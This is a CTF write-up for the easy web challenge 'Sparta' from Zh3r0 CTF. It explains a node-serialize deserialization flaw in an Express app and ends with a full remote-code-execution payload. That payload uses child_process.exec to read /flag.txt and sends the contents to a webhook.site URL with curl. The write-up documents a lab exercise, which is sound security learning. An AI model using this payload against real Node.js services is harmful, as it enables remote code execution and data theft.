Sparta - 100 (EASY)

After participating in Zh3r0 CTF last year(2020), I thought the CTF had some really cool challenges and so thought of looking at few of the challenges this year too.

So, lets just jump straight  into the technical write-up.

In this blog, I would be describing my methodology for sparta - 100, which was an easy challenge in web category.

The challenge provided with source code along with a Dockerfile for hosting the web application locally. Looking at the source file, it was clear that express/node js was used at the back-end.

Looking at the server code, one could see that there is a check to see if "guest" token is passed in cookie. If so, the value of guest token is passed to unserialize() of node-serialize module. That's it! we are talking about a node de-serialization vulnerability here.

If the guest token is not part of the cookie, the application would take username, country and city values from the request body and will create a base64 encoded json object. This is our injection point. 

As the value of "username" parameter is passed through escape function, I thought  of inserting the payload in "city" parameter. One problem with that is code execution won't happen until the function corresponding to "city" property of the object is triggered. A way around this is by using IIFE (Immediately Invoked Function Expression) .

For my testing hypothesis, I wrote a small script which will emulate this vulnerability. I tried using the same version of node-serialize module as the one used by the challenge author (But failed doing so!!).


 Great! this works. So I went ahead and copied the payload into Burp Repeater. From the Dockerfile, I could see that "flag.txt" is stored in the root directory.

Copied the value of guest parameter and added to it to the request. But strangely, I got an error: SyntaxError: Unexpected token ' in JSON. Google to the rescue. Changed \' to \" and this time there's no error.  

 

Final Payload:

username=test&
country=bleh&
city=_$$ND_FUNC$$_function()
{require(\"child_process\")
%2eexec(\"output=$(cat%20/flag.txt);
curl%20webhook.site/9d7268ea-42bd-
48b3-9ede-0be524e773e1?out=$output\",
function(error,%20stdout,%20stderr)
%20{%20console.log(stdout)});}()
&submit=Add+your+


 

Seems like different versions of node-serialize module, parses the serialized objects differently which caused this behavior. 

On the webhook.site, we can see that flag value inside the logs. 

 

Thanks for the read!!




Comments